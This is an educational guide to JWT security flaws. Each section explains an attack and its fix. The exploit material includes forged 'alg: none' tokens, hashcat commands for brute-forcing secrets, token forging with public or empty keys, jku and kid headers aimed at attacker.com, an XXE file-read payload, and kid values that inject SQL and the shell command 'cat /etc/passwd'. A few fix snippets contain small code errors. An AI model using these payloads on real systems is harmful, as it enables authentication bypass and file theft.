JWT Vulnerabilities Guide
JSON Web Tokens (JWTs) have become the de facto standard for implementing authentication and authorization in modern web applications. However, their widespread adoption has also made them a prime target for attackers. This guide explores common JWT vulnerabilities, exploitation techniques, and best practices for secure implementation.
Important: This guide is provided for educational purposes only. Always use your knowledge responsibly and ethically. Never attempt to exploit vulnerabilities in systems without explicit permission.
Table of Contents
- Algorithm None Attack
- Symmetric Key Bruteforcing
- Algorithm Confusion Attack
- JWK Header Injection
- JWK Set URL Injection
- Key ID (kid) Parameter Injection
- Accepting Arbitrary Signatures
- X.509 Certificate Chain Injection
- Content Type Manipulation
- Sensitive Data Exposure
- Missing or Misused Claims
- Replay Attacks
- Weak Secrets
- Token Invalidation Issues
- Token Substitution Attacks
Algorithm None Attack
What is this issue?
The JWT specification allows for an "alg" value of "none" to indicate that the token is unsecured. Some JWT libraries may accept tokens with the "alg" header set to "none" and skip signature verification entirely.
Why is it dangerous?
If a server accepts tokens with the "alg" header set to "none", an attacker can forge valid tokens without knowing the secret key, effectively bypassing authentication.
How to exploit it
- Decode an existing JWT to access its payload
- Create a new JWT with the same payload but change the header to
{"alg": "none"} - Set the signature part to an empty string
- Send the modified token to the server
// Original token
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
// Modified token with "alg: none"
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.
How to fix it
- Explicitly reject tokens with "alg: none" in your JWT verification code
- Use a library that doesn't support "none" algorithm by default
- Implement a whitelist of allowed algorithms rather than a blacklist of disallowed ones
// Example in Node.js with jsonwebtoken library
jwt.verify(token, secret, {
algorithms: ['HS256', 'RS256'] // Explicitly specify allowed algorithms
});
Symmetric Key Bruteforcing
What is this issue?
When JWTs are signed with HMAC algorithms (HS256, HS384, HS512), they rely on a shared secret key. If this secret is weak, predictable, or has low entropy, it can be bruteforced by attackers.
Why is it dangerous?
Once an attacker discovers the secret key, they can:
- Create new tokens with any payload they want
- Modify existing tokens without detection
- Impersonate any user in the system
- Escalate privileges to administrator level
How to exploit it
- Obtain a valid JWT token
- Use a dictionary or brute force attack to guess the secret
- Common weak secrets include: "secret", "password", "123456", company names, etc.
- Use tools like JWTAuditor Secret Bruteforcer, hashcat, or custom scripts
Using Hashcat for JWT Secret Brute-forcing
Hashcat is one of the most effective tools for brute-forcing JWT secrets:
# Basic hashcat command for JWT (mode 16500)
hashcat -a 0 -m 16500 jwt.txt wordlist.txt
# With optimized workload
hashcat -a 0 -m 16500 -w 3 jwt.txt wordlist.txt
# Show cracked results
hashcat -a 0 -m 16500 jwt.txt wordlist.txt --show
# Using a popular JWT secrets wordlist
wget https://raw.githubusercontent.com/wallarm/jwt-secrets/master/jwt_auditor_potential_secrets.txt
hashcat -a 0 -m 16500 jwt.txt jwt_auditor_potential_secrets.txt
Hashcat output format when secret is found:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4gRG9lIiwiaWF0IjoxNTE2MjM5MDIyfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c:secret
Common weak secrets to test
secretpassword123456jwtyour-256-bit-secretHS256defaultadminsecretkey- Company name or project name
- Default examples from documentation
Other tools for JWT secret brute-forcing
# Using jwt-cracker (Node.js tool)
npm install -g jwt-cracker
jwt-cracker "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." "secret"
# Using custom Python script
python3 jwt_bruteforce.py --jwt "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9..." --wordlist wordlist.txt
How to fix it
- Use cryptographically secure random secrets of at least 256 bits (32 bytes)
- Never use dictionary words, predictable patterns, or company-related terms
- Consider using asymmetric algorithms (RS256, ES256) instead
- Rotate secrets regularly
- Use environment variables or secure key management systems
// Good: Generate a strong secret
const crypto = require('crypto');
const secret = crypto.randomBytes(32).toString('hex');
// Bad: Weak secrets
const secret = "secret";
const secret = "mycompany123";
const secret = "password";
Algorithm Confusion Attack
What is this issue?
Algorithm confusion attacks exploit JWT implementations that don't properly validate the algorithm specified in the token header. The most common variant involves switching from an asymmetric algorithm (like RS256) to a symmetric one (like HS256).
Why is it dangerous?
In a typical RS256 setup, the server uses a private key to sign tokens and a public key to verify them. If an attacker can change the algorithm to HS256, the server might use the public key as an HMAC secret, allowing the attacker to forge valid tokens.
How to exploit it
- Obtain a JWT signed with RS256
- Extract or find the public key (often available at /.well-known/jwks.json)
- Change the algorithm from RS256 to HS256 in the header
- Sign the token using HS256 with the public key as the secret
- Send the modified token to the server
// Original header
{
"alg": "RS256",
"typ": "JWT"
}
// Modified header
{
"alg": "HS256",
"typ": "JWT"
}
// Python example to create the attack token
import jwt
# Public key extracted from the server
public_key = """-----BEGIN PUBLIC KEY-----
MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA...
-----END PUBLIC KEY-----"""
# Create a malicious token
payload = {"sub": "admin", "role": "administrator"}
malicious_token = jwt.encode(payload, public_key, algorithm="HS256")
How to fix it
- Always validate the algorithm and reject unexpected algorithms
- Use algorithm whitelisting, not blacklisting
- Ensure your JWT library performs strict algorithm validation
- Use different keys for different algorithms
// Node.js example - secure verification
const jwt = require('jsonwebtoken');
try {
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // Only allow RS256
issuer: 'trusted-issuer',
audience: 'my-service'
});
} catch (err) {
// Token is invalid
console.error('Token verification failed:', err.message);
}
JWK Header Injection
What is this issue?
The JSON Web Signature (JWS) specification allows an optional "jwk" header parameter, which can embed a public key directly within the token in JWK format. Misconfigured servers may accept any key provided in this parameter without proper validation.
Why is it dangerous?
If a server accepts tokens with arbitrary "jwk" header parameters, attackers can:
- Generate their own RSA key pair
- Sign a malicious JWT with their private key
- Embed the corresponding public key in the "jwk" header
- The server will use the attacker's public key to verify the signature
Example attack
Here's how an attacker might exploit this vulnerability:
{
"alg": "RS256",
"typ": "JWT",
"jwk": {
"kty": "RSA",
"e": "AQAB",
"kid": "attacker-key-123",
"n": "yy1wpYmffgXBxhAUJzHHocCuJolwDqql75ZWuCQ_cb33K2vh9m..."
}
}
How to fix it
- Never accept arbitrary keys from JWT headers
- Use a strict whitelist of trusted public keys
- Store trusted keys server-side, not in the token
- If using "jwk" parameter, validate the key against a known set
// Node.js example - secure key validation
const trustedKeys = [
{ kid: 'key-1', key: fs.readFileSync('public-key-1.pem') },
{ kid: 'key-2', key: fs.readFileSync('public-key-2.pem') }
];
function getVerificationKey(header) {
// Only use pre-configured trusted keys
const trustedKey = trustedKeys.find(k => k.kid === header.kid);
if (!trustedKey) {
throw new Error('Untrusted key ID');
}
return trustedKey.key;
}
JWK Set URL Injection
What is this issue?
The "jku" (JWK Set URL) header parameter allows servers to reference a JWK Set containing verification keys from a URL. If not properly validated, attackers can provide URLs pointing to their own malicious key sets.
Why is it dangerous?
Vulnerable implementations may:
- Fetch keys from attacker-controlled URLs
- Accept malicious keys from untrusted sources
- Be vulnerable to SSRF attacks
- Allow attackers to bypass authentication entirely
Example attack
An attacker creates a malicious JWT with a "jku" header pointing to their server:
{
"alg": "RS256",
"typ": "JWT",
"jku": "https://attacker.com/malicious-jwks.json",
"kid": "attacker-key-1"
}
The malicious JWK Set on the attacker's server:
{
"keys": [
{
"kty": "RSA",
"kid": "attacker-key-1",
"e": "AQAB",
"n": "malicious-key-data..."
}
]
}
How to fix it
- Implement strict URL validation and whitelisting
- Only allow JWK Set URLs from trusted domains
- Use URL parsing libraries that prevent bypasses
- Implement proper error handling for unreachable URLs
- Consider disabling "jku" parameter entirely
// Node.js example - secure JKU validation
const TRUSTED_DOMAINS = ['auth.company.com', 'keys.company.com'];
function validateJkuUrl(jku) {
try {
const url = new URL(jku);
// Only allow HTTPS
if (url.protocol !== 'https:') {
throw new Error('JKU must use HTTPS');
}
// Check against trusted domains
if (!TRUSTED_DOMAINS.includes(url.hostname)) {
throw new Error('JKU domain not trusted');
}
return true;
} catch (error) {
console.error('Invalid JKU URL:', error.message);
return false;
}
}
Accepting Arbitrary Signatures
What is this issue?
Some JWT implementations fail to properly verify signatures at all. This can happen when developers confuse JWT decoding methods with verification methods, or when signature verification is accidentally bypassed.
Why is it dangerous?
Without proper signature verification:
- Attackers can modify any part of the JWT payload
- Token integrity is completely compromised
- Authentication and authorization can be bypassed
- Any arbitrary claims can be injected
Common vulnerable patterns
1. Using decode() instead of verify()
// VULNERABLE - No signature verification
const decoded = jwt.decode(token);
const userId = decoded.sub;
// SECURE - Proper signature verification
const decoded = jwt.verify(token, secretKey);
const userId = decoded.sub;
2. Catching verification errors incorrectly
// VULNERABLE - Accepting tokens even if verification fails
try {
const decoded = jwt.verify(token, secretKey);
} catch (error) {
// Still processing the token despite verification failure
const decoded = jwt.decode(token);
return decoded;
}
3. Conditional verification bypass
# VULNERABLE - Bypassing verification in certain conditions
def verify_token(token):
if is_development_mode():
return jwt.decode(token, options={"verify_signature": False})
else:
return jwt.decode(token, secret_key, algorithms=["HS256"])
How to fix it
- Always use proper verification methods (verify(), not decode())
- Never bypass signature verification, even in development
- Handle verification errors securely
- Use JWT libraries correctly and follow their documentation
- Implement proper error handling that doesn't fall back to unsafe methods
X.509 Certificate Chain Injection
What is this issue?
The "x5c" (X.509 Certificate Chain) header parameter can contain X.509 public key certificates. If not properly validated, attackers can inject self-signed certificates to bypass signature verification.
Why is it dangerous?
Vulnerable implementations may:
- Accept self-signed certificates without validation
- Trust any certificate provided in the header
- Skip proper certificate chain validation
- Allow attackers to sign tokens with their own certificates
Example attack
An attacker creates a self-signed certificate and includes it in the JWT header:
{
"alg": "RS256",
"typ": "JWT",
"x5c": [
"MIICDTCCAXYCCQDFkjsdf...self-signed-cert...",
"MIIBkTCB+wIBADBXMQswCQYDVQQGEwJVUzELMAkGA1UECAwCQ0ExFjAUBgNVBAcMDU..."
]
}
How to fix it
- Implement proper certificate validation
- Verify certificates against trusted Certificate Authorities
- Check certificate expiration dates
- Validate the entire certificate chain
- Use certificate pinning when possible
# Python example - secure certificate validation
import ssl
import certifi
from cryptography import x509
from cryptography.hazmat.backends import default_backend
def validate_x5c_certificates(x5c_header):
try:
# Parse the first certificate
cert_der = base64.b64decode(x5c_header[0])
cert = x509.load_der_x509_certificate(cert_der, default_backend())
# Verify certificate is not self-signed
if cert.issuer == cert.subject:
raise ValueError("Self-signed certificates not allowed")
# Verify certificate is not expired
now = datetime.utcnow()
if cert.not_valid_after < now:
raise ValueError("Certificate has expired")
# Additional validation logic...
return cert.public_key()
except Exception as e:
raise ValueError(f"Certificate validation failed: {str(e)}")
Content Type Manipulation
What is this issue?
The "cty" (Content Type) header parameter can declare the media type of the JWT payload. If signature verification is bypassed, attackers might manipulate this parameter to enable new attack vectors like XXE or deserialization attacks.
Why is it dangerous?
Manipulating the content type can enable:
- XML External Entity (XXE) attacks by setting cty to "text/xml"
- Deserialization attacks with "application/x-java-serialized-object"
- Other payload parsing vulnerabilities
- Bypass of content-type based security controls
Example attack
After bypassing signature verification, an attacker might use:
{
"alg": "none",
"typ": "JWT",
"cty": "text/xml"
}
With a malicious XML payload:
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE root [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<user>
<name>&xxe;</name>
<role>admin</role>
</user>
How to fix it
- Always verify JWT signatures properly
- Don't process content-type headers from unverified tokens
- Use strict content-type validation
- Disable XML processing for JWT payloads
- Implement proper input validation regardless of content type
// Node.js example - secure content type handling
function processJWT(token) {
// Always verify signature first
const decoded = jwt.verify(token, secretKey);
// Only accept standard JSON payloads
if (decoded.header.cty && decoded.header.cty !== 'application/json') {
throw new Error('Unsupported content type');
}
// Process the verified payload
return decoded.payload;
}
Sensitive Data Exposure
What is this issue?
JWTs are encoded (Base64URL) but not encrypted by default. The payload is easily readable by anyone who has the token. Developers sometimes mistakenly include sensitive information in JWT payloads.
Why is it dangerous?
Sensitive data in JWT payloads can be:
- Viewed by anyone with access to the token
- Logged in server logs, browser history, or network traffic
- Exposed through XSS attacks if stored in localStorage
- Accidentally shared in URLs or error messages
Examples of sensitive data
- Passwords or password hashes
- Social security numbers
- Credit card information
- Personal identification numbers
- Internal system information
- Database connection strings
// BAD: Sensitive data in JWT
{
"sub": "user123",
"name": "John Doe",
"ssn": "123-45-6789",
"password": "hashedpassword123",
"api_key": "secret-api-key-xyz",
"salary": 75000,
"credit_card": "4111-1111-1111-1111"
}
How to fix it
- Never include sensitive data in JWT payloads
- Use minimal claims (only what's necessary for authorization)
- Store sensitive data on the server, reference it by ID in the token
- Use JWE (JSON Web Encryption) for confidential data
- Audit your JWT payloads regularly
// GOOD: Minimal, non-sensitive claims
{
"sub": "user123",
"role": "user",
"permissions": ["read", "write"],
"exp": 1516242622,
"iat": 1516239022
}
Missing or Misused Claims
What is this issue?
JWT provides several standard claims (exp, iat, nbf, aud, iss, sub, jti) that help ensure tokens are used correctly. Missing or improperly validated claims can lead to security vulnerabilities.
Common missing claims and their risks
1. Missing Expiration (exp)
- Tokens never expire, creating indefinite access
- Compromised tokens remain valid forever
- No mechanism to force re-authentication
2. Missing Audience (aud)
- Token substitution attacks across different services
- Tokens intended for one service can be used on another
- Lack of service-specific validation
3. Missing Issuer (iss)
- Can't verify which service created the token
- Tokens from untrusted sources may be accepted
- Difficult to trace token origin
4. Missing Not Before (nbf)
- Tokens can be used before their intended activation time
- Premature token usage
How to fix it
- Always include expiration (exp) claims
- Set appropriate expiration times (15-30 minutes for access tokens)
- Include audience (aud) claims and validate them
- Include issuer (iss) claims and validate them
- Use issued at (iat) claims for clock skew handling
- Include JWT ID (jti) for token revocation capabilities
// Complete token validation
const jwt = require('jsonwebtoken');
const options = {
issuer: 'trusted-auth-server',
audience: 'my-api-service',
expiresIn: '15m',
algorithm: 'RS256'
};
try {
const decoded = jwt.verify(token, publicKey, options);
// Additional validations
if (!decoded.sub) {
throw new Error('Missing subject claim');
}
if (!decoded.iat) {
throw new Error('Missing issued at claim');
}
// Check clock skew
const now = Math.floor(Date.now() / 1000);
const clockSkew = 60; // Allow 60 seconds of clock skew
if (decoded.iat > now + clockSkew) {
throw new Error('Token used before issued');
}
} catch (err) {
console.error('Token validation failed:', err.message);
}
Key ID (kid) Parameter Injection
What is this issue?
The "kid" (Key ID) parameter in JWT headers specifies which key should be used for verification. Servers may use this parameter to identify the correct key from a database, file system, or JWK Set. If not properly validated, attackers can manipulate this parameter to exploit various vulnerabilities.
Why is it dangerous?
Attackers can manipulate the "kid" parameter to:
- Exploit directory traversal vulnerabilities
- Access arbitrary files from the server's filesystem
- Force the use of predictable or empty keys
- Exploit SQL injection vulnerabilities
- Reference keys they control
Common attack scenarios
1. Directory Traversal Attack
If the server uses the "kid" parameter to reference files, attackers can use directory traversal to access other files:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../etc/passwd"
}
2. Empty Key Attack (/dev/null)
One of the most effective attacks is to point the "kid" parameter to a predictable, empty file like /dev/null:
{
"alg": "HS256",
"typ": "JWT",
"kid": "../../../../dev/null"
}
Since /dev/null is empty, the server will use an empty string as the signing key. An attacker can then sign their malicious JWT with an empty string.
3. SQL Injection
If the "kid" parameter is used in SQL queries without proper sanitization:
{
"alg": "HS256",
"typ": "JWT",
"kid": "key1' UNION SELECT 'attack-key' FROM users WHERE admin=1--"
}
4. Command Injection
{
"alg": "HS256",
"typ": "JWT",
"kid": "key1; cat /etc/passwd"
}
5. URL Manipulation
{
"alg": "HS256",
"typ": "JWT",
"kid": "http://attacker.com/malicious-key"
}
Practical exploitation example
Here's how an attacker might exploit the /dev/null technique:
# Step 1: Create a malicious JWT with /dev/null as the kid
# Header: {"alg": "HS256", "typ": "JWT", "kid": "../../../../dev/null"}
# Payload: {"sub": "admin", "role": "admin", "exp": 1999999999}
# Step 2: Sign the JWT with an empty string as the key
import jwt
payload = {"sub": "admin", "role": "admin", "exp": 1999999999}
malicious_token = jwt.encode(payload, "", algorithm="HS256")
# Step 3: Use the malicious token to bypass authentication
How to fix it
- Implement strict whitelist validation for "kid" values
- Use only alphanumeric characters and underscores in key IDs
- Never use the "kid" parameter directly in file paths or SQL queries
- Store keys in a secure location inaccessible via path traversal
- Use parameterized queries if storing keys in a database
- Implement proper input validation and sanitization
- Use a whitelist of allowed key IDs
- Avoid using file paths directly in "kid" values
- Use parameterized queries for database lookups
- Implement proper input validation
// Secure kid validation
function validateKid(kid) {
// Whitelist of allowed key IDs
const allowedKids = ['key1', 'key2', 'key3', 'production-key'];
if (!allowedKids.includes(kid)) {
throw new Error('Invalid key ID');
}
// Additional validation
if (kid.includes('..') || kid.includes('/') || kid.includes('\\')) {
throw new Error('Invalid key ID format');
}
return kid;
}
// Usage
try {
const header = jwt.decode(token, { complete: true }).header;
const validKid = validateKid(header.kid);
const key = getKeyById(validKid);
const decoded = jwt.verify(token, key);
} catch (err) {
console.error('Token validation failed:', err.message);
}
Replay Attacks
What is this issue?
Replay attacks occur when an attacker captures a valid JWT and reuses it to gain unauthorized access. This is particularly dangerous when tokens have long expiration times or when there's no mechanism to track token usage.
Why is it dangerous?
Replay attacks can lead to:
- Unauthorized access after user logout
- Session hijacking
- Persistent access even after password changes
- Abuse of privileged operations
Attack scenarios
- Network Interception: Attacker captures tokens from network traffic
- XSS Attacks: Malicious scripts steal tokens from client storage
- Log File Exposure: Tokens exposed in server logs or error messages
- Shared Computer: Tokens left in browser storage on shared devices
How to fix it
1. Short Token Expiration
- Use short-lived access tokens (15-30 minutes)
- Implement refresh token rotation
- Force re-authentication for sensitive operations
2. Token Blacklisting
- Maintain a blacklist of revoked tokens
- Check blacklist on each request
- Add tokens to blacklist on logout
3. Jti (JWT ID) Tracking
- Include unique "jti" claim in each token
- Track used tokens to prevent replay
- Implement token revocation by jti
4. Additional Security Measures
- Use HTTPS for all token transmissions
- Implement proper CORS policies
- Use HttpOnly cookies when possible
- Implement session binding
// Token blacklist implementation
const blacklistedTokens = new Set();
function blacklistToken(jti) {
blacklistedTokens.add(jti);
// Also store in database for persistence
}
function isTokenBlacklisted(jti) {
return blacklistedTokens.has(jti);
}
// Middleware to check blacklist
function validateToken(req, res, next) {
try {
const token = req.headers.authorization?.split(' ')[1];
const decoded = jwt.verify(token, secretKey);
if (isTokenBlacklisted(decoded.jti)) {
return res.status(401).json({ error: 'Token has been revoked' });
}
req.user = decoded;
next();
} catch (err) {
res.status(401).json({ error: 'Invalid token' });
}
}
// Logout endpoint
app.post('/logout', validateToken, (req, res) => {
blacklistToken(req.user.jti);
res.json({ message: 'Logged out successfully' });
});
Weak Secrets
What is this issue?
Many JWT implementations use weak or predictable secrets for HMAC signing. This makes them vulnerable to brute force attacks and dictionary attacks.
Common weak secrets
- Default or example secrets from documentation
- Simple passwords or phrases
- Company names or product names
- Sequential or patterned strings
- Short secrets with low entropy
Examples of weak secrets
// VERY BAD: Common weak secrets
const secrets = [
"secret",
"password",
"123456",
"your-256-bit-secret",
"mycompany",
"jwt-secret",
"supersecret",
"admin",
"key",
"token"
];
How to fix it
1. Generate Strong Secrets
- Use cryptographically secure random number generators
- Minimum 256 bits (32 bytes) for HS256
- Higher entropy for better security
// Generate strong secrets
const crypto = require('crypto');
// Generate a 256-bit secret
const secret256 = crypto.randomBytes(32).toString('hex');
// Generate a 512-bit secret
const secret512 = crypto.randomBytes(64).toString('hex');
// Using base64 encoding
const secretBase64 = crypto.randomBytes(32).toString('base64');
2. Use Asymmetric Algorithms
- Consider using RS256 or ES256 instead of HS256
- Private key for signing, public key for verification
- Eliminates the need for shared secrets
3. Secret Management
- Store secrets in environment variables
- Use key management services (AWS KMS, Azure Key Vault)
- Implement secret rotation
- Never hardcode secrets in source code
// Secure secret management
const secret = process.env.JWT_SECRET;
if (!secret) {
throw new Error('JWT_SECRET environment variable is required');
}
if (secret.length < 32) {
throw new Error('JWT secret must be at least 32 characters long');
}
// Check for common weak secrets
const weakSecrets = ['secret', 'password', '123456', 'your-256-bit-secret'];
if (weakSecrets.includes(secret.toLowerCase())) {
throw new Error('Weak JWT secret detected');
}
Token Invalidation Issues
What is this issue?
Unlike session-based authentication, JWTs are stateless by design. This makes it challenging to invalidate tokens before their expiration time, leading to security issues when users log out, change passwords, or have their privileges revoked.
Why is it dangerous?
- Tokens remain valid after user logout
- Compromised tokens can't be immediately revoked
- Privilege changes don't take effect until token expiration
- Terminated employees may retain access
Solutions
1. Token Blacklisting
Maintain a blacklist of revoked tokens and check it on each request.
// Redis-based token blacklist
const redis = require('redis');
const client = redis.createClient();
async function blacklistToken(jti, exp) {
const ttl = exp - Math.floor(Date.now() / 1000);
await client.setex(`blacklist:${jti}`, ttl, 'revoked');
}
async function isTokenBlacklisted(jti) {
const result = await client.get(`blacklist:${jti}`);
return result === 'revoked';
}
// Middleware
async function validateToken(req, res, next) {
try {
const token = req.headers.authorization?.split(' ')[1];
const decoded = jwt.verify(token, secretKey);
if (await isTokenBlacklisted(decoded.jti)) {
return res.status(401).json({ error: 'Token revoked' });
}
req.user = decoded;
next();
} catch (err) {
res.status(401).json({ error: 'Invalid token' });
}
}
2. Short-lived Tokens with Refresh
Use short-lived access tokens (15-30 minutes) with refresh tokens.
// Refresh token implementation
const refreshTokens = new Map(); // Use database in production
function generateTokens(user) {
const accessToken = jwt.sign(
{ sub: user.id, role: user.role },
secretKey,
{ expiresIn: '15m' }
);
const refreshToken = crypto.randomBytes(32).toString('hex');
refreshTokens.set(refreshToken, user.id);
return { accessToken, refreshToken };
}
app.post('/refresh', async (req, res) => {
const { refreshToken } = req.body;
if (!refreshTokens.has(refreshToken)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
const userId = refreshTokens.get(refreshToken);
const user = await getUserById(userId);
// Generate new tokens
const tokens = generateTokens(user);
// Revoke old refresh token
refreshTokens.delete(refreshToken);
res.json(tokens);
});
3. Version-based Invalidation
Include a version number in tokens and increment it when invalidation is needed.
// Version-based invalidation
const userTokenVersions = new Map();
function generateToken(user) {
const version = userTokenVersions.get(user.id) || 0;
return jwt.sign(
{
sub: user.id,
role: user.role,
version: version
},
secretKey,
{ expiresIn: '1h' }
);
}
function invalidateUserTokens(userId) {
const currentVersion = userTokenVersions.get(userId) || 0;
userTokenVersions.set(userId, currentVersion + 1);
}
// Middleware
function validateToken(req, res, next) {
try {
const token = req.headers.authorization?.split(' ')[1];
const decoded = jwt.verify(token, secretKey);
const currentVersion = userTokenVersions.get(decoded.sub) || 0;
if (decoded.version < currentVersion) {
return res.status(401).json({ error: 'Token version mismatch' });
}
req.user = decoded;
next();
} catch (err) {
res.status(401).json({ error: 'Invalid token' });
}
}
Token Substitution Attacks
What is this issue?
Token substitution attacks occur when an attacker uses a token intended for one context in a different context. This can happen when tokens lack proper audience validation or when the same token is used across multiple services.
Types of substitution attacks
1. Cross-Service Token Reuse
Using a token issued for Service A to access Service B
2. Privilege Escalation
Using a token with limited scope in a context requiring higher privileges
3. Cross-Domain Attacks
Using tokens across different domains or applications
How to fix it
1. Audience Validation
Always include and validate the audience (aud) claim
// Service-specific token validation
function validateToken(token, expectedAudience) {
try {
const decoded = jwt.verify(token, secretKey, {
audience: expectedAudience,
issuer: 'trusted-auth-server'
});
return decoded;
} catch (err) {
throw new Error('Token validation failed');
}
}
// Usage in different services
// Service A
const userServiceToken = validateToken(token, 'user-service');
// Service B
const paymentServiceToken = validateToken(token, 'payment-service');
2. Scope-based Authorization
Include specific scopes in tokens and validate them
// Scope-based token
const token = jwt.sign({
sub: user.id,
aud: 'payment-service',
scope: ['read:payments', 'write:payments'],
exp: Math.floor(Date.now() / 1000) + 3600
}, secretKey);
// Scope validation middleware
function requireScope(requiredScope) {
return (req, res, next) => {
const token = req.headers.authorization?.split(' ')[1];
try {
const decoded = jwt.verify(token, secretKey);
if (!decoded.scope || !decoded.scope.includes(requiredScope)) {
return res.status(403).json({ error: 'Insufficient scope' });
}
req.user = decoded;
next();
} catch (err) {
res.status(401).json({ error: 'Invalid token' });
}
};
}
// Usage
app.get('/payments', requireScope('read:payments'), (req, res) => {
// Handle payment reading
});
app.post('/payments', requireScope('write:payments'), (req, res) => {
// Handle payment creation
});
3. Context-Specific Tokens
Generate different tokens for different contexts
// Context-specific token generation
function generateContextToken(user, context) {
const basePayload = {
sub: user.id,
iat: Math.floor(Date.now() / 1000),
exp: Math.floor(Date.now() / 1000) + 3600
};
switch (context) {
case 'admin':
return jwt.sign({
...basePayload,
aud: 'admin-panel',
role: 'admin',
scope: ['admin:read', 'admin:write']
}, secretKey);
case 'api':
return jwt.sign({
...basePayload,
aud: 'api-service',
role: user.role,
scope: getUserScopes(user)
}, secretKey);
case 'mobile':
return jwt.sign({
...basePayload,
aud: 'mobile-app',
role: user.role,
device: 'mobile'
}, secretKey);
default:
throw new Error('Invalid context');
}
}
JSON Web Encryption (JWE)
What is JWE?
JSON Web Encryption (JWE) is a standard for encrypting JWT payloads to ensure confidentiality. Unlike JWS (JSON Web Signature) which only provides integrity and authenticity, JWE encrypts the payload so that only authorized parties can read it.
When to use JWE
- When JWT payload contains sensitive information
- Compliance requirements (GDPR, HIPAA, etc.)
- Additional layer of security for critical applications
- When tokens are transmitted through untrusted channels
JWE Structure
JWE consists of five parts separated by dots:
BASE64URL(UTF8(JWE Protected Header)) + '.' +
BASE64URL(JWE Encrypted Key) + '.' +
BASE64URL(JWE Initialization Vector) + '.' +
BASE64URL(JWE Ciphertext) + '.' +
BASE64URL(JWE Authentication Tag)
JWE Implementation Example
// Node.js JWE implementation using jose library
const { EncryptJWT, jwtDecrypt } = require('jose');
const crypto = require('crypto');
// Generate a symmetric key
const secret = crypto.randomBytes(32);
// Create an encrypted JWT
async function createJWE(payload) {
const jwt = await new EncryptJWT(payload)
.setProtectedHeader({ alg: 'A256KW', enc: 'A256GCM' })
.setIssuedAt()
.setExpirationTime('2h')
.encrypt(secret);
return jwt;
}
// Decrypt and verify JWE
async function verifyJWE(jwe) {
const { payload, protectedHeader } = await jwtDecrypt(jwe, secret);
return payload;
}
// Usage
async function example() {
const sensitivePayload = {
sub: 'user123',
ssn: '123-45-6789',
salary: 75000,
role: 'admin'
};
// Create encrypted JWT
const jwe = await createJWE(sensitivePayload);
console.log('Encrypted JWT:', jwe);
// Decrypt and verify
const decrypted = await verifyJWE(jwe);
console.log('Decrypted payload:', decrypted);
}
JWE vs JWS Comparison
| Feature | JWS (JSON Web Signature) | JWE (JSON Web Encryption) |
|---|---|---|
| Purpose | Integrity and authenticity | Confidentiality |
| Payload Visibility | Visible (Base64 encoded) | Encrypted (not visible) |
| Performance | Faster | Slower (encryption overhead) |
| Size | Smaller | Larger (encryption metadata) |
| Use Case | Standard authentication | Sensitive data transmission |